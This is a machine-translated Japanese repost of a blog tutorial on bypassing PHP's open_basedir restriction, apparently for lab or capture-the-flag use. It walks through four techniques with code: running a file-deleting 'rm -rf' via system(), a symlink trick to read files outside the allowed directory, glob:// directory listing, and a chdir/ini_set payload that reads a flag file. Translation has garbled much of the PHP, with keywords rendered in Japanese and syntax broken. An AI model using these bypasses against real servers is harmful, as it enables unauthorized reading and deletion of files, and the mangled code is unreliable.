PHPのopen_basedirのバイパスの設定

原理
open_basedirののについて
    open_basedirのは、php.iniの設定オプションで
    、それは、指定された領域内のファイルにアクセスするためのアクティブユーザーの範囲を制限することがあり
    、そのopen_basedirのを想定した= /ホーム/ wwwrootに/ホームその後、web1とを介してサーバにアクセスしますユーザーは/ホーム/ wwwrootに/ホーム/ web1とに加えて取得することはできませんと/ tmpのサーバー上に2つのファイルの/ディレクトリ。
    open_basedirので指定された制限は、実際に接頭辞ではなく、ディレクトリ名であることに注意してください。
    例: "open_basedirの= /ディレクトリ/ユーザー"場合はそのディレクトリ"/ DIR /ユーザー"と"/ DIR / user1は"アクセス可能です。ですから、スラッシュパス名で終わる、唯一の指定されたディレクトリへのアクセスを制限する場合。
補足:
    ①php.iniの設定項目の前にセミコロンが全くphp.iniの設定が存在しないことを示す、存在する場合。でfastcgi.confでは、PHP-FPMで設定される可能性があります。PHP-FPMの構成は、php.iniの設定を上書きします。
    ②php.iniのかfastcgi.congセットで、それはすべてのプロジェクトのためです。あなたが別のプロジェクトを設定したい場合は、プロジェクトのルートディレクトリは.user.iniで構成されています。
    .user.ini構成
    まず、php.iniで設定する、.user.ini力を加える
        user_ini.filename = ".user.ini"
        user_ini.cache_ttlは= 300
    でfastcgi.confの設定open_basedirのコメント。
    .User.iniは、以下の記述、プロジェクトファイルのルートディレクトリに作成された
         の/ proc:open_basedirの=を/ tmp / / you_web_path:/
    PHP-FPMに再起動したサービスを。
シンボリックリンクについて
    のソフトリンクと呼ばれるシンボリックリンク、別のファイルへのパス名(絶対パスまたは相対パス)を含むファイルの特別な種類があります。
    パスを使用すると、異なるファイルシステム内のファイルをリンクすることができ、任意のファイルまたはディレクトリことができます。シンボルファイルは、読み取りまたは書き込み操作すると、システムが自動的にシステムが単にソースファイル自体を削除せずに、リンクファイルを削除して、ソースファイルの運転に変換しますが、リンクファイルを削除します。

0x01の1systemコマンド機能をバイパス
によるopen_basedirの設定機能の実行には、システム上で不正なコマンドであるので、我々は、ディレクトリへのアクセスを制限するコマンド機能を使用することができます。
私たちは、最初のディレクトリの作成
    /ホーム/ puret /テスト/
このディレクトリに新しい1.TXTのコンテンツがABCである
    ナノ1.TXT
その後、ディレクトリにBという名前のディレクトリを作成し
    ます。mkdir bを
し、ディレクトリ内の1を作成します.PHPファイルの内容
    <PHP?
      エコーのfile_get_contents( "../ 1.TXT");
    ?>
とphp.iniで私たちのopen_basedirのセットアップ
    open_basedirの= /ホーム/ puret /テスト / B /
私たちは、open_basedirのが我々のアクセスを制限するかどうかを確認1.phpやろう
効果を行うようです
明らかに我々が直接open_basedirの指定以外のカタログファイルを読み取ることができません。
次は1.TXTの削除にopen_basedirの制限を中心にシステム機能を使用しようと
する編集1.phpを
    <?PHP
     システム(「RM -rf ../1.txt」);
    ?>
のは1.phpを実行する前に見てみましょうケースファイル
実行1.php後
open_basedirのをバイパスが正常に実行されるコマンドからファイルを削除するように機能します。
コマンド実行機能は、一般的にそれらをdisable_functionに制限されているので、私たちは、制限を回避する他の方法を見つける必要があります。

0x02のバイパスモード2symlink()関数
のは、シンボリックリンク機能を見てみましょう
    BOOLのシンボリックリンク($文字列のターゲット、文字列$リンク)
シンボリックリンク機能は、この対象が限られているもちろん、通常の状況下では、名前のリンク先へのシンボリックリンクを作成します。 open_basedirのインチ
初期のシンボリックリンクは、Windowsをサポートしていないので、Linuxで私のテスト環境に置きます。
テストPHPバージョン5.3.0で、他のバージョンでは、我々はそれを自己テストします。
Linuxでは、我々はいくつかのクロスディレクトリの操作はシンボリックリンクを経由して論理ファイルをバイパスするようにつながることができます行うことができます。
私たちは、のために、コンテンツの編集/var/www/html/1.php 1.phpで始まる
    <PHP?
      //ディレクトリを作成します。MKDIR( "C")
      にchdir( "C"); //ディレクトリ変更
      MKDIR(「D ");
      CHDIR(" D ");
      CHDIR(" .. ");  
      CHDIR(" .. ");
      シンボリックリンク(" C / D "" tmplink ");
      シンボリックリンク(" tmplink /../../ 1.TXT ""利用");
      リンクを解除(" tmplink ");
      MKDIR(" tmplink ");
      ますfile_put_contentsエコー(" http://127.0.0.1/exploit「);
    ?>
し、次いでVAR / WWW /時/インチ新しいファイル1.TXTコンテンツの作成
    「ABC」
再び私たちのopen_basedirのの程度に設定
    open_basedirの=の/ var / WWW / HTML /
open_basedirのそれをテストするためのPHPスクリプトの編集htmlディレクトリにある
    <PHP?
       のfile_get_contents( "../ 1.TXTを");
    ?>
を見て実行します。
驚くべきことに、ファイルにアクセスすることができません。
私達はちょうど1.phpは、書かれたスクリプトを実行
に成功したファイル1.TXTの内容を読み取るために見ることができる、とのopen_basedirの制限エスケープ
つまり重要な問題に
    シンボリックリンクが(「tmplink /../../ 1.TXT」 )「活用」、
ファイルがC / Dパスを指すシンボリックリンクであり、したがって、利用ポイントがパスになりtmplink場合
    C / D /../../ 1.TXT
このパスのでそう正常に確立活用の範囲内でopen_basedirの。
我々はtmplinkシンボリックリンクファイルを削除してからtmplinkと同じ名前のフォルダを作成した後で、パスが利用することを指している
    /../../ tmplinkを
実際のファイルフォルダそうtmplink /なっtmplinkこの時以来。 ./../それはは/ var / WWWあるディレクトリ1.TXTに/
、その後1.TXTは、ファイルの内容に直接ファイルへのシンボリックリンクにアクセスして読み取ることができるエクスプロイト
のみ、それを必要とする)(シンボリックリンクのために、当然のことながら、問題を解決することができますdisable_functionを置くので、私たちはより多くの方法を見つける必要があります。

0x03の3glob擬似プロトコルバイパス
グロブすることは、未チェックのスクリーニングディレクトリopen_basedirのであるから、擬似プロトコルフィルタリングのディレクトリの始まりは、有効にするため、PHP 5.3.0以降のバージョンされているので、私たちは周りを取得するためにそれを使用することができます制限は、私たちが/ var / www / testの下という名前で新しいディレクトリを作成
し、ためにある/ var / www / htmlと設定/の下に新しいt.phpコンテンツ
    <?phpの
      = $ "グロブ:///var/www/test/*.txt";
      IF(B = opendir関数の$($ A)){
        しばらく(!($ファイル= readdirの($ B)は)falseに==){
          "ファイル名:"エコー$ファイル"\ n -で"; ...
        }
        closedirの($ B);
      }
    ?>
図に示す結果は:
正常にファイルを読み取るためにopen_basedirの制限を免れました。

ソース4 0x04のバイパスロジック
ブログhttps://xz.aliyun.com/t/4720の
ペイロード:
CHDIR( 'IMG'); ini_set( 'open_basedirの'、 '.. '); CHDIR(' ..') ; CHDIR( '.. '); CHDIR(' .. '); CHDIR(' ..'); ini_set( 'open_basedirの'、 '/');(のfile_get_contents( 'フラグ'))エコー;

おすすめ

転載: www.cnblogs.com/cimuhuashuimu/p/11544487.html